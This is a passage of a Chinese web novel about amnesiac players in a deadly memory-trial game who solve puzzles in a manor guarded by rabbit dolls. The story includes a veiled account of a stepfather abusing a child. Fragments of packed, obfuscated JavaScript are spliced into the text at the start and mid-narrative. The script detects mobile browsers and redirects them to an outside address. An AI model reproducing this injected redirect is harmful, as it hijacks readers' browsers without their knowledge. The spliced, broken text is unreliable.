l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166722|196748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伊忍着痛包扎完,接过毛巾擦干身上,心想这点伤可能真就是个开始。 “辛苦你了。”何成功拍拍洛伊的肩,内心复杂,“你做得很好,但下次……别这么冒险。” 他很佩服欣赏这姑娘的胆识,却也不禁开始怀疑,她为什么总能精准地捕捉到破局的关键?又为何敢用近乎搏命的方式去验证? 如果她并非事先知晓内情,拥有十足的把握,那么唯一的解释只能是:她根本就是个彻头彻尾的疯子!一个将生死押上赌桌的、不计后果的赌徒! “时间差不多了,有什么事回去再说。”谢名扬抱着纽扣眼兔子,看了眼蜡烛刻度,提醒大家。 回到餐厅,众人迅速点亮大部分蜡烛,围坐在桌边。担心纽扣眼兔子也会受黑暗影响,谢名扬特意将它放在了最亮的中心。 接着他们开始整理物资。谢名扬在客厅柜子里找到了医药箱;何成功把厨房的刀具进行了简单改装,加长刀柄增加攻击范围的同时,也缠上布条加固了抓握点,帮助不常使用武器的人也能抓稳。 休整片刻,众人准备好抵御下一次黑暗。 等等。 似乎少了些什么。 “1号还没回来。”谢名扬环顾四周。 马上要进入黑暗时间了,1号不该不遵守约定的时间。 他虽然带走了一个烛台,但玩偶兔子数量众多,微弱的光亮压制不住它们,单枪匹马的战斗风险极高。 正常人都不会主动置自己于险地。 除非…… 他是遭遇了什么危险,没办法回来了? “哼!我就说他看着不对劲,连名字都不告诉我们,鬼鬼祟祟的不知道在藏什么,非要脱离大部队。”丁飞撇着嘴嚷嚷着,似乎内心积压的各种情绪在这一瞬间都涌了上来,“说不定他就是那个什么’修正者’,把他举报上去好了,咱都能平安回家!” “丁飞!就算他是’修正者’,举报他咱们就能离开吗?我问你,留言的第三条是什么?”何成功声音里夹杂着怒气,脸上的疤痕在烛光下显得格外狰狞,“我们至今不知道’修正者’到底是敌是友,甚至不知道’他/她’是否存在。” “况且留言并没有提及离开这里与’修正者’有什么关系。活下去,找回记忆,离开这才是我们的当务之急!” “我们应该一致对外,而不该轻易内讧。” 何成功扫视众人一圈,是警告也是安抚。 丁飞被震住了,嘟囔着,不敢再发牢骚。 “我们要去找1号吗?”郝梦紧张地绞着手指,“可是……天快要黑了。” “你们在这里待着,不要出光圈,我去找他。”何成功端起烛台准备出去。 洛伊拦住了他:“我去吧,你留在这保护他们。”她拿出刚搜集到的手电筒,“有这个,我能确保自身安全。但我保护不了他们。” 何成功确实是这里武力值最强的,由他镇守大本营最合适不过。剩余几人都眼巴巴地看着他,就像抓住了救命稻草。 何成功看着他们:谢名扬体弱,郝梦胆小,丁飞莽撞。 他无奈地叹了口气,嘱咐洛伊:“优先保证自己的安全,发现不对,立即退回。” 洛伊比了个“OK”的手势,拿上手电筒推开了别墅的门。 没走多远,黑暗如期而至。 窸窸窣窣的,红色眼睛从四面八方亮了起来,朝她这里聚拢。 洛伊将手电筒调至散射模式,自上而下地从头顶照向脚下,尽可能把自己笼罩在光圈里,同时扩大周身光域。 她缓慢地,艰难地往前走,从别墅出发,步入庄园的黑暗,向四周找寻1号的踪迹。 她自我感觉并不是个慈悲为怀的人,冒着巨大风险出来找1号,她有自己的考虑。 4. 空间诡计 1号和他们不一样。 上一关洛伊是最先出房间的,在其他人陆续冲出后,她不动声色地朝每个人的房间瞥了一眼。 六个房间,五扇是外开门,门后一览无余,空空如也。只有1号那扇是内开门,厚重的门板挡住了部分视野,门后的盲区里,像是藏着什么东西。 洛伊本想仔细看看,可人刚出来,门就自动合上了。于是,她只能带着疑问,不太自在地和1号搭了两句话,又一起不尴不尬地研究起门上的花纹。 眼下,1号是敌是友尚不能分辨,她虽然不想与他有过多牵扯,但直觉他会是破局的关键。 她得想办法,尽可能挖掘1号身上的秘密。在这之前,他不能有事。 洛伊先是绕着别墅搜寻了一圈,没有收获,便转向花园里找去。 她注意到,那些兔子玩偶只会在原本位置的方圆十米内活动,一旦超出这个范围,追来的兔子便会茫然地停下,机械地退回原位。 也就是说,它们的“狩猎”存在边界。 利用这一点,到达花园时,由于距离足够远,别墅周边的兔子放弃了追逐,回到了原位,洛伊短暂地进入了安全地带。 奇怪的是,花园里没有兔子。 太安静了。 初来庄园时,花园里明明散布着不少兔子玩偶。可现在,目之所及,一只都没有。 它们去哪了? 洛伊很快找到了答案。 前方有一点昏暗的光源,光圈之外,密密麻麻、层层叠叠,围满了猩红的眼睛。 都在这儿呢。 兔子和1号。 “还活着吗?”洛伊朝那片被包围的光源靠近。 “现在还活着,待会儿不好说。”1号抬起头,深黑的眸子里掠过一丝清晰的讶异,“来的竟然是你。” 洛伊靠近他,发现他背靠着树干,浑身是伤,有些狼狈地护着所剩无几的烛台。 “你那支蜡烛还能撑多久?”洛伊问。 “可能撑不过这次黑暗结束。”1号无奈地笑笑,“我高估这粗糙的自制蜡烛了。” “你拿的那支是丁飞吃剩的罐头做的,燃料起码比其他的少一半。”洛伊帮他分析。 “好,下次我会注意。”1号语气诚恳,似乎真的知错就改,“现在可以来救我了吗。” 洛伊抬脚踹开离1号最近的两只兔子,跨进他那圈微弱的光里:“站得起来吗?站起来受光面积小一些,手电筒的光能盖住。”说着伸手去搀他。 “勉强应该可以。”1号借力颤颤巍巍地站了起身,斜依在树干上,侧过脸朝洛伊轻轻勾了下嘴角,“多谢。” “还笑呢,不知道阁下还有被咬成筛子的癖好。”洛伊不咸不淡地阴阳他。 凑近了才看清,1号身上深深浅浅的全是咬痕,最严重的一处在腰侧,血已经染红了半个背部。 嘴上虽不留情,秉着照顾伤者的原则,她将手电筒的光悄悄往1号身上多倾斜了些。 举久了手电筒的手臂有些发酸,洛伊小幅度活动了下手腕,缠着纱布的手指不经意地擦过了1号的脸颊。 “你受伤了?”1号脸上的笑意淡了,那双深黑的眸子定定地看向她裹着纱布的手指。 “小伤而已。”洛伊没注意到他的情绪。 蜡烛的火苗逐渐黯淡,光圈退潮般寸寸收缩。两人并肩而立,渐渐有皮肤暴露在光圈之外,随即便被红眼的兔子狠狠下口。 “嘶!”由于手电筒光倾斜向1号,洛伊的半个肩膀首当其冲没入了黑暗,兔子尖利的牙齿瞬间刺进皮肉。 先是一阵麻,接着尖锐的疼痛从伤口处放射性地炸开,痛得她倒吸一口冷气。 听见她的痛呼,1号高大的身影骤然压近,手肘抵在她耳侧的树干上,头也低下来,尽可能地缩小受光面积。 “得罪了!”压低的声音从头顶落下。 洛伊被他罩在身下,额头不经意碰上了他的胸口,体温伴随着有力的心跳,隔着薄薄的衣料透过来。不知道是不是疼的,她能感觉到他的身体正在微微颤抖。 她将手电筒举得更高。 就这样局促地共享光源,他们挨到了又一轮的光明。 踢开脚边失活的兔子玩偶,洛伊架起1号的一只胳膊,将他的重心转移到自己肩上,扶着他往别墅走。 “发现什么了吗?”洛伊问他。 没在规定时间内返回别墅,除了蜡烛质量的原因,应该还有别的理由——他一定是发现了什么,哪怕冒着黑暗的危险都要一探究竟。 “这幢别墅里,有隐藏空间。” 1号沉默片刻,低声说出了自己的发现。 隐藏空间? 他不是一直在室外搜寻吗,怎么会知道别墅内部的情况? “太好了,你们还活着!”郝梦惊喜的声音从远处传来。 其他人找过来了。 1号敛了笑容,偏头凑近洛伊耳边,用只有两个人能听见的气音说:“别太相信任何人。” 气息扫过耳廓,像是有片落叶划过耳朵,洛伊痒的缩了缩脖子,警告地瞪了1号一眼。他又恢复了笑眯眯的模样,仿佛刚刚什么也没发生。 神神叨叨的。 洛伊暗暗嘀咕,却也是多留了个心眼。 何成功大步上前来,从洛伊肩上接过了1号:“你小子可得好好感谢你洛姐,要不是她出来找你,你恐怕不止伤这么点儿。” “谢谢洛姐!”1号很听话似的,眯着眼勾着唇向洛伊道谢。 “行了,说正事。”洛伊感觉胳膊上起了一层鸡皮疙瘩。 “跟我来。” 1号领着众人来到了花园中央的罗马喷泉处。这里视野最开阔,能看清整栋别墅的轮廓。 “站在这里看别墅,有没有觉得哪里不对劲?”1号发问。 众人不明所以。 “我留意过,别墅的一侧有7扇窗户,相邻的另一侧有9扇,每扇窗户宽大概一米五,窗与窗之间间隔半米,两侧的实心墙体也按半米算。” “这样算下来,别墅占地面积应该在270平方米左右。” “但别墅内的地砖应该是0.9米见方,横铺16块,纵铺18块,算下来室内面积只有……” “230平方米。” “即使考虑墙体厚度等误差,也至少多出来20平方米的面积。” “多出来的面积,在哪?” 没有人料到他会从这个角度切入,众人一时都怔住了。反应过来后,只觉得头皮发麻。 恐惧来源于未知。 那个隐藏的空间在哪?里面又藏着什么? 而洛伊只觉得更恐怖的是,1号竟然能清楚地记住别墅内地砖的数量。 “你是说…这房子里藏着一块儿看不见的空间?”谢名扬推眼镜的手有些抖。 “可是我们搜集物资的时候,已经找遍所有房间了呀,没有发现异常。” 郝梦睁圆了杏眼,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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包括自己在内,剩余几人都没表现出类似的异常。而游戏的通关条件是找回丢失的记忆,偏偏只有郝梦对周围的环境有如此强烈的反应——这是否意味着,这一关本就是为她准备的? 洛伊陷入了沉思。 满打满算这是他们参与游戏的第一关,很多规则还不够清楚,眼下只能做出这样初步的推测。 “那你……有没有想起来什么?” 待郝梦平静一些了,洛伊开口询问。 假如这一关真是围绕着郝梦展开,那她的记忆或许就是通关的关键。 郝梦咬着唇摇了摇头。 洛伊握住她的手:“我知道对你来说这很痛苦,但……你愿意再回到别墅里感受一下吗。” 她试着解释着自己的猜测:“还记得游戏的通关条件是‘找回记忆’吗?这里的环境似乎对我们其他人影响不大,只有你感觉这么强烈。” “可能这一关,是为你打造的。你的感受,也许就是通关的线索。” 郝梦把脸埋在洛伊的肩上,沉默着,似乎在做一个极其艰难的决定。 洛伊一下一下抚着她的背,指尖的纱布蹭过衣料,发出沙沙的轻响。 想到洛伊为了取得线索,不顾危险跳入激光池中,又想到这一关遭遇种种,或许都是因自己而起…… 郝梦一咬牙,抬手拭去眼角的泪:“没事的,我们进去吧。” “若这一关是因我而起,那便由我来结束吧。” 5. 时间尽头 洛伊揉了揉她的头发:“我们先试试看,别勉强。觉得难受就说出来,我陪你出来透透气。” 郝梦吸了吸鼻子,轻轻地点了点头。 两人回到别墅时,何成功已经帮1号处理好了伤口。1号靠在餐桌旁的椅子上,闭着眼,脸色有些苍白。 “怎么这么慢。”丁飞伸手擦了一把快流进眼里的汗,“我们又找了一遍,还真奇了怪了,别说门了,连条缝都没找着。” “墙壁检查了吗?”洛伊问。 “墙壁?”何成功一愣,“你是说,那个空间有可能是完全封死的,压根就没有表面开口?” “很有可能。”洛伊点点头,目光转向郝梦。 郝梦仍远远地站在门口处,有些瑟缩。 “别怕,没事的,我们都在。”洛伊上前牵住她冰凉的手。 郝梦深吸一口气,仿佛用尽全身力气,抬起微微颤抖的手指,指向了客厅那面巨大的电视墙。 “那堵墙后面,有问题……” 何成功立刻上前,屈指在电视墙和其他墙面上敲击。电视墙后传来空洞的回响——后面似乎真的有个空间。 他沿着墙缝用手指一寸寸地摸索着:“有一层壁纸。” 很快,他找到了一处边缘翘起的地方,手腕发力猛地一撕,一扇与墙面几乎融为一体的隐形门显露了出来。 像是感应到了什么,郝梦猛地抱住了脑袋,发出了痛苦的呜咽。 洛伊连忙扶住了她。 这扇门设计得极其精妙,缝隙被巧妙隐藏,加上被墙纸覆盖,若非刻意寻找,极难发现。 何成功伸手试着推了推,门纹丝不动。 “根据上回的经验,这门肯定需要密码或者钥匙。”丁飞抱着手臂站在一旁,“这次小爷我可不动手了啊,别又怪到我头上。” 他有意地瞥了眼谢名扬。 谢名扬压根没空搭理他,他整个人都趴在门上,正仔细观察着。这种解谜环节,对他来说似乎很有吸引力。 “这儿有两个凹槽!” 门的中下部,嵌有两个圆形的凹槽。 “这个大小形状……好眼熟……”他皱眉回忆着,总觉得在哪见过类似的东西。 “是兔子眼睛上的纽扣!”他激动地拍了拍巴掌,回到餐桌旁拿来那只纽扣眼兔子,三下五除二拆下纽扣,放入左侧凹槽中。 严丝合缝。 “对上了!这就是开门的钥匙!你小子可以啊!”何成功很高兴,大力拍了拍谢名扬的肩膀,下一秒却又皱紧了眉头,“看来还得要一个纽扣才行,这玩意上哪儿找去啊?” 咔咔—— 令人心悸的开关声响起,四周瞬时陷入黑暗。兔子们齐刷刷支棱了起来,眼里迸发出猩红的光。 “回光圈!快!” 沉浸在解谜中,众人完全忘了时间的限制,只能边防御边手忙脚乱地撤回大本营。 丁飞落在最后面,等他踉跄着扑进光圈时,已经挨了兔子好几口。 “呸!谁跑得慢谁是前排是吧。”他没好气地剜了其他人一眼。 有只兔子死死咬在他的屁股上,被他带入进入光圈后失了活,却还是牢牢挂在他的身上。 “哎呦喂,啥玩意!”丁飞龇牙咧嘴地揪下兔子,作势要往圈外扔。 “等等!”洛伊眼疾手快接住,“这只兔子长得不太一样。” 能看得出这只兔子缺了一只耳朵,现在的耳朵是后来用旧布条缝上的。 “怎么说?另一只纽扣在这只耳朵里吗?”丁飞没好气地问道。 “那倒没有。”洛伊仔细地捏了捏旧布条里面,软软的,是棉花的手感,不像有纽扣这种硬物。 “能想起来什么吗?”洛伊转身把玩偶递给郝梦。 郝梦的状态看起来好了许多,她接过兔子,手指抚过粗糙的布条,轻声说:“给我一把剪刀。” 她小心翼翼地拆开了旧布条的缝合线,轻轻地展开。布条内侧有一行小字,墨迹有些淡了,字迹娟秀: “当第一千朵红玫瑰盛开时,去时间的尽头。” “谜语吗?”何成功不解。 “看起来像是提示。”洛伊分析道。 “我记得花园里有不少花,但是不确定有没有一千朵红玫瑰。”谢名扬加入了讨论。 “不过,‘时间的尽头’是什么地方?”他挠挠头,似乎没有什么头绪。 “先解决花的问题吧。”洛伊安排道,“1号行动不便,丁飞……屁股受伤,你俩一起留守大本营,方便的话可以再探索一下别墅内部。” “我们其他人,等天亮后去花园里找找有没有红玫瑰的线索。” “谁、谁屁股受伤了!”丁飞脸上有点挂不住,但一想到可以安全地呆在屋内休息,他的眼珠转了几个来回,“好……好吧,那我和1号在这里等你们回来。” 天亮了,洛伊一行人直奔花园。 不看不知道,一看吓一跳,花园里竟有一整片花圃种植着玫瑰。 但不巧的是,全是白玫瑰。 “玫瑰有了,数量有了,就是颜色不对。”谢名扬皱眉道,“难道我们要和爱丽丝一样,给花上漆吗?” 洛伊伸手捻了片花瓣,不语。 从别墅出来后,郝梦明显放松了些,连带着脚步都变得轻快了起来。她看见有朵白玫瑰蔫蔫的,像是受到了某种指引,小跑着从喷泉处掬了一捧水,想浇给花儿醒醒神。 当水接触到花瓣的那一刻,白色的花瓣迅速开始变色,由白到粉,直至变成血一般的鲜红。 “快、快看!”郝梦惊得声调都有些变了,赶紧招呼其他人,“红玫瑰!红玫瑰出现了!” 洛伊自始至终注视着郝梦的举动,她看清楚了玫瑰变色的方法,沉声开口:“是水,把水浇到花瓣上就能变色!” 四人立即行动,往返于喷泉和花圃之间,重复着取水、浇水的动作。这是一项枯燥而费时的体力活,在黑暗降临之前,他们必须争分夺秒。 然而,当他们浇灌到大约三分之二时,谢名扬突然停下,脸色难看:“水……喷泉的水位在下降!” 众人望去,果然,原本潺潺流动的喷泉,出水明显变缓,中央水池的水位正在以肉眼可见的速度降低。 “快!加快速度!”何成功低喝。 他们几乎是用跑的往返于喷泉和花圃之间。水位越来越低,取水越来越困难。当浇灌完最后几丛玫瑰时,喷泉发出“咕噜”一声轻响,彻底停止了涌流,池底只剩下一层浅浅的、浑浊的积水。 “这样……算不算’第一千朵玫瑰盛开时’的条件达成了?”郝梦喘着气,看着眼前一片血红的花海,不确定地喃喃。 “那接下来,就得’去时间的尽头’了。”何成功转向洛伊,盯着她的眼睛,“那个地方,你有头绪吗?” 洛伊摇摇头:“我不知道。” 她有些困惑。不知道从什么时候起,大家开始 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目标明确,众人摩拳擦掌向阁楼进发。 别墅共有三层半,是经典的欧式装修风格。一层设有会客厅和餐厅,二层以卧室为主,三层则是书房和杂物间。 通往阁楼的入口,开在杂物间的天花板上。拉下垂挂的绳子,一架折叠梯被缓缓放了下来。 越往上走,郝梦的脸色越差。 “你们在下面接应,注意时间。我们上去看看。”何成功将手电筒挂在脖子上,利索地爬上了折叠梯,洛伊和谢名扬紧随其后。 其余三人各有原因,留守在杂物间做后勤工作。 阁楼很暗,几乎伸手不见五指,许是很久没有人上来的缘故,落着厚厚的一层灰。 “咳咳…” 何成功忍住要打喷嚏的冲动,揉了揉鼻子,捂住口鼻,在入口处接应剩下两人。 脚一落地,便扬起呛人的灰,手电筒的光在灰尘的散射下变得柔和了些,照射面积相应地变大,朦胧地勾画出了阁楼的情况。 阁楼空荡荡的,只有在最远的墙角,立着一个高大的、蒙着白布的轮廓。影影绰绰,看不真切。 三人对视一眼,警戒着靠过去。 许是年久失修,木地板随着他们的脚步发出不堪重负的“吱呀”声,屋顶似乎有些漏水,隐约有水滴落的声音。 腐朽的木制品混着陈年老灰的气味闯进鼻腔,呛得人胸口发闷,有点反胃。 走近才看清,那是一个老式的落地钟,几乎有一人高,被一块积满灰尘的白布覆盖着。 这是他们在这里见到的第一个钟表。 “钟表….这就是我们要找的’时间的尽头’吗?”何成功猜测着,伸手想去掀开白布。 吱嘎—— 就在他手指即将触到白布的瞬间,那落地钟内部突然传来一声极其刺耳、仿佛生锈齿轮强行转动的摩擦声! 三人警惕地后退一步。 白布无风自动,缓缓滑落,露出了落地钟的真容。它确实精致,黄铜雕花,玻璃钟面,虽然看上去有些老旧,但仍能从繁复的花纹中看出其昔日的价值不菲。 “刚才的巨响,是这东西发出的?”谢名扬蹲下身,从地上捡起了一个金属物件。 那东西上没有灰尘的覆盖,很明显是刚落到地上不久。 6. 隐藏房间 “看起来像把手一类的东西。” 洛伊走近落地钟,端详着表盘,只见时针和分针都正好指着“12”的位置。接着,她在落地钟右侧找到了一个隐蔽的孔洞。 “试试这里。” 谢名扬将金属把手对准孔洞,很顺利,这果然是为它准备的位置。 他试着转动把手,却感到阻力巨大。 “帮我一把!” 何成功立刻上前,两人合力,只听见“咔哒”一声脆响,表盘上的分针猛地一跳,随即开始缓慢而沉重地转动。 与此同时,入口处传来了铰链咬合的沉重摩擦声。 不好! 三人立即冲向入口处,只见一道铁栅栏正缓缓闭合,切断了他们的退路。栅栏缝隙狭窄,连一只手都伸不出去。更糟糕的是,栅栏似乎触发了连锁机关,他们脚下的地板开始传来细微的震动。 “洛姐!你们没事吧?”郝梦焦急的声音从下方隐约传来。 “暂时安全。但是入口被封住了,我们出不去了。你们底下有没有发现什么异常?”洛伊稳住声音,无比庆幸留了三个人在外面,让他们不至于被一网打尽。 片刻后,郝梦的声音再次传来,带着惊慌:“书房!书房里的书突然全掉下来了!只留下几本在架子上!” 机关联动,新线索出现了。 洛伊嘴角勾起一丝弧度。 “留下的书籍分别是哪几本,麻烦你们记录一下带过来。”洛伊有条不紊地指挥着。 没错。 阁楼中的落地钟显然是一个需要输入信息的机关,而输入的内容,理应就是时间。 书房中留存的书籍里,很有可能蕴含着相关信息,破解了这些信息,就能得到所需的时间密码。 下面响起一阵匆忙的脚步声和低语。不久,郝梦的声音再次响起:“一共剩下了四本书,似乎是一套儿童读物。” “是关于什么的儿童读物?”洛伊问。 郝梦念出了书籍封面上的内容:“《小兔安全指南》,大概是教小朋友们怎么保护自己的读物吧……”话音未落,她突然脸色发白,手一抖,书掉在了地上。 “我来吧。”1号看出了郝梦的不对劲,示意她到一旁休息。 洛伊虽有些担心郝梦,但眼下必须集中精力破译时间信息,白昼剩下的时间不多了。 “把封面朝上,按顺序摆在地上,让我先看看封面。” 1号立即照做。 洛伊离得远,视线又被栅栏遮挡,看不清具体细节,只能隐约注意到封面构图存在规律——所有画面都是从一点向另一点发散出去的,像极了箭头。 或者说,指针。 如果把这些“指针”的方向对应到表盘上…… 第一个箭头接近竖直方向,对应的数字有0,6和12;第二个箭头是水平方向,只能是3或者9;第三个箭头向□□斜,可能是1或者7;第四个箭头对称倾斜,大约是5或者11…… 该死,即使知道了可能的数字,可这些数字该如何组合? 时间紧迫!地板震感越来越明显,灰尘簌簌落下。谢名扬和何成功紧张地看着她。 洛伊闭上眼睛,静下心来思考。 既然特意留下了四本书,那么这四本书上的线索应该可以组合使用。最直观的联想就是经典的电子时钟显示【00:00】,每本书很可能对应的就是一个数字。 这么说,就可以排除掉第一个箭头的“6”、“12”,第三个箭头的“7”以及第四个箭头的“11”。 很好,现在只剩下【03:15】和【09:15】两种可能性了。 “先试试【03:15】这个时间点!”洛伊暂时想不出来判断这两个时间点的正确与否的方法,一咬牙,当机立断决定一个个试。 谢名扬扑回落地钟前,开始转动把手调整时间。分针一圈圈转动,时针稳步推进,直至停在了【03:15】。 嘎吱—— 落地钟内部传来更加剧烈的摩擦声!紧接着,玻璃表盘后面,突然渗出了大量暗红色、粘稠的液体,顺着钟身蜿蜒流下,滴滴答答落在地上,散发出腥臭的铁锈味! 与此同时,地板震动的源头揭晓了,落地钟背后那面墙壁,竟然开始缓缓向两侧滑动,露出后面黑漆漆的空间!更令人毛骨悚然的是,那黑暗之中,亮起了无数猩红的光点,密密麻麻,如同血色的星河! “机关触发了!密码不对!”何成功低吼。 “兔子!后面全是兔子!”谢名扬声音都变了调。 黑暗中的红点迅速移动,潮水般向他们涌来!何成功连忙将手电筒光照向兔群,试图拖缓它们逼近的速度。 “啊!” 郝梦等人也发出了惊呼,显然下方也出现了异常。 “喂!你们怎么样了?下面凭空出现了好多兔子!”丁飞的喊声带着恐惧,下面虽然还是白昼,但一旦到了黑暗时间,他们三个病号完全没有自保能力。 内外夹击! “快!再试试【09:15】!”洛伊额头冒汗。 谢名扬毫不犹豫,再次扑向落地钟,踢开碍事的兔子,拼命转动把手。时针移向9,分针指向15。 就在分针与刻度重合的刹那—— 当! 一声沉闷的钟鸣从落地钟内部传出!紧接着,落地钟下部的抽屉猛然弹开,一只右眼缝着纽扣的兔子玩偶,正静静地躺在里面。 “拿到第二只纽扣了!快走!”何成功一把将兔子玩偶取出,几乎同时,入口处的铁栅栏缓缓地收了回去。 三人争先恐后地爬下折叠梯,与下面脸色煞白的郝梦、丁飞、1号汇合。 一行人抓紧回到隐形门前。 谢名扬将第二只纽扣嵌入右侧凹槽,伸手用力一推,隐形门缓缓向内打开。 洛伊屏住呼吸,神经高度紧绷,摆好防御姿态,随时准备迎接门内可能的危险。她对门后的景象做了一万种假设,没想到映入眼帘的,是一间公主房。 柔和的浅粉色墙面,垂着轻薄纱帘的小床,地上铺着软乎乎的地毯,角落堆着几只兔子玩偶,一切都那么温馨,仿佛与一门之隔的种种危险毫无关系。 众人迟疑地走进房内,一丝若有似无地甜香萦绕着他们的鼻尖。 “好熟悉的味道。”谢名扬皱了皱鼻子,表情不是很好。 “小爷好像也在哪闻过。”丁飞用力地吸了吸鼻子,“咦,又闻不到了。” 何成功没有出声,但他的眉头紧锁着,似乎陷入了回忆。 洛伊也觉得这味道有些熟悉,却记不得是在哪里闻过了。这味道虽是甜甜的,却让她莫名有些烦躁。 自从打开门后,郝梦的脸色便惨白如纸,眼睛直勾勾地看着房间里的一切,身体开始不受控制地剧烈颤抖。 “郝梦?”洛伊想去拉她。 “不!我不要进去……”郝梦躲开了洛伊的手。 窸窸窣窣的,有什么开始向这边靠近了。 洛伊猛地睁大眼睛,定睛向郝梦身后望去,她的身后,赫然是一大群眼冒红光的兔子! “什么情况!现在不是还没到时间吗?”丁飞一看到兔子就感觉浑身上下都疼,他麻利地躲到了何成功身后。 “快进来!郝梦!它们要攻击你了!”洛伊一把将僵硬的郝梦拽了进来,反手就想关门。 但门,关不上了。 一股无形的力量抵住了门扉。 更令人心惊的是,门外、客厅、甚至楼梯上,涌现出比以往任何一次都多的兔子!它们眼中红光闪烁,行动迅捷,完全无视了众人手中的手电,如同红色的潮水汹涌而来! 眼见兔子大军越逼越近,洛伊咬咬牙,将郝梦护在身后,举起了武器。 奇怪的是,兔子们仿佛看不见她们一样,径直地越过了她们俩,向房内逼近。 “啊?咋是冲我们来的啊!退!退!退!”丁飞见兔子直奔他而来,吓得语无伦次。 何成功摆好了防御架势,随时准备战斗。 可是,兔子们好像也看不见他们。 它们鱼贯而入,疯狂地开始攻击…… 屋内的一切陈设。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“小兔不是很喜欢这个狼叔叔,她觉得狼叔叔的眼神让她很不舒服,她还是想要爸爸回来。但狼叔叔把她和妈妈带到了大房子里住,房子很漂亮,还有游泳池。妈妈不再每天早出晚归,脸上也渐渐有了笑容,于是小兔默默地接受了。” “日子似乎就这样一天天变好,直到那天……” 郝梦闭上眼,深吸了一口气,将手握拳放在胸口,哽咽着继续讲述: “……那天,兔妈妈有事儿没能回家,家里只剩下了小兔和狼叔叔。狼叔叔邀请小兔一起去游泳池,说要和小兔比赛游泳。” “小兔很开心,兔爸爸以前也经常带她去游泳,她很怀念那些快乐的时光。” “她高兴地换好衣服下了水,狼叔叔也跟着下去了。狼叔叔并没有好好比赛的意思,而是一直贴她很近,这让小兔感觉很不舒服。她游到岸边想要上岸,可是一只巨大的手将她狠狠地按在了池边……” “坏狼威胁小兔不许告诉兔妈妈,否则她和妈妈将再次回到那种窘迫的生活中。” “小兔流着泪点头。” “坏狼给小兔准备了一间漂亮的公主房,只要兔妈妈不在家,他就会到房间里……与小兔‘做游戏’。” “小兔很讨厌这种‘游戏’,但她拒绝不了。她的精神愈发萎靡。” “兔妈妈渐渐察觉到了小兔的不对劲。一次假装外出后,兔妈妈发现了事情的真相。” “她崩溃,她歇斯底里,她带着小兔毅然决然地离开了大房子。” “小兔很自责,觉得是自己拖累了妈妈。妈妈抱着她,一遍遍地哭着说对不起。妈妈告诉小兔,她会让坏狼付出代价。” “小兔被交付给兔外婆照顾,自那之后,她再也没见过妈妈……” “坏狼也失踪了很长时间。直到…” “阁楼传来了腐烂的臭味。” 郝梦的声音低下去,轻的几乎听不见: “小兔继承了坏狼和兔妈妈所有的财产。” “那是妈妈……留给她最后的温暖。” 房间里一片死寂。 只有兔子们血红的眼睛,静静闪烁着。 7. 部分真相 故事讲到这里,众人大概都猜到了真相。他们沉默着攥紧拳头,房间里只剩下沉重的呼吸声。 那些兔子……原来不是“加害者”,而是在用自己的方式,驱逐黑暗,守护光明。梦幻的庄园是精心打造的囚笼,华丽的别墅是藏污纳垢的刑场。光鲜之下,浸透了血与泪。 洛伊上前抱住了郝梦瘦削的肩膀,轻轻地拍着她的背:“没事了…没事了…都过去了……” 被遗忘的真相就像表面结痂的深伤口,外表看起来一切向好,内部却在悄悄腐坏。 历经磨难想起真相,就像亲手生生地剥开了新生的嫩肉,剔去腐肉。 痛彻心扉,才是愈合的开始。 这,大概正是郝梦出现在这里的原因。 “我知道你们有很多疑问,”郝梦伸手擦了擦眼泪,声音平静了许多,“虽然不清楚你们各自的背景,但我可以告诉大家,我们为什么会在这里。” “这里是Memory公司的实验室,我们应该都是报名试药的志愿者。” “Memory公司研发了一种名为‘ROM’的药品,据说可以增强人的记忆力,帮助用药者找回遗失的记忆。” “这种药品非常昂贵,且尚在临床试验中,能帮助人恢复记忆的程度尚不明确。因此公司召集了一批志愿者,结合特定的外界刺激,进行药性测试。” “为了达到最真实的效果,公司通过技术手段清除了我们过往的所有记忆,我们必须在试药过程中找回记忆,否则我们将永远无法回到正常的生活轨道中。” “这一点,我们都签过了免责协议。” 郝梦顿了顿,她有些庆幸自己顺利找回了记忆,继续补充道:“协议里写得很清楚,试验过程存在不可预估的人身危险。一旦出事,公司……概不负责。” “不负责?”丁飞猛地拔高声音,“什么意思?也就是说……我们真的有可能死在这里?” 郝梦闭了闭眼,缓缓点头:“恐怕是的。恐惧、疼痛、甚至死亡……在这里都是真实的。这,就是找回记忆的代价。” 丁飞瞬间面如死灰。 “我参与试药,是因为那件事后,我的大脑好像启动了自我保护机制,让我忘记了事情大部分的细节。” “与此同时,我的记忆力也在逐渐下降,每天醒来后都需要缓很久,才能记起来我是谁,我在哪。午夜梦回常常惊醒,我都会一身冷汗,久久难以入眠。” “我开始频繁出现幻觉,总觉得无论躲到哪,都有无数双眼睛在注视着我。就像……就像那个男人的眼神一样,令人恶心。” “这样的日子,我撑不下去了。我妈妈,她一定不会希望我活得这么狼狈。” 提到妈妈,郝梦黯然勾了勾嘴角。 “于是我开始自救,我去看心理医生。医生告诉我,我必须直面那段记忆,正视它,才能战胜它。” “可是我越努力回想,那些画面就越模糊,就像是被打上了马赛克,又被抽了帧。” “在我走投无路之时,Memory公司的邮件发到了我的邮箱里。我不知道他们是怎么联系到我的,但他们给出的试药方案对我来说……简直是救命稻草。” “哪怕冒着生命危险,哪怕这段记忆会让我痛苦,我也得找回它。我要好好地活下去,带着妈妈的那一份。” 讲述完,郝梦长长地出了一口气,像是把久久笼罩在她心间的阴霾一并吐出了,她的脸上焕发出了新的笑容:“很久没有这么清楚地回忆过去了,讲出来心里好受多了。” “希望这些信息能对你们有用。” “你知道’修正者’是什么吗?”从郝梦的叙事中,洛伊理清了处境,但对于这个问题,她还不是很明确。 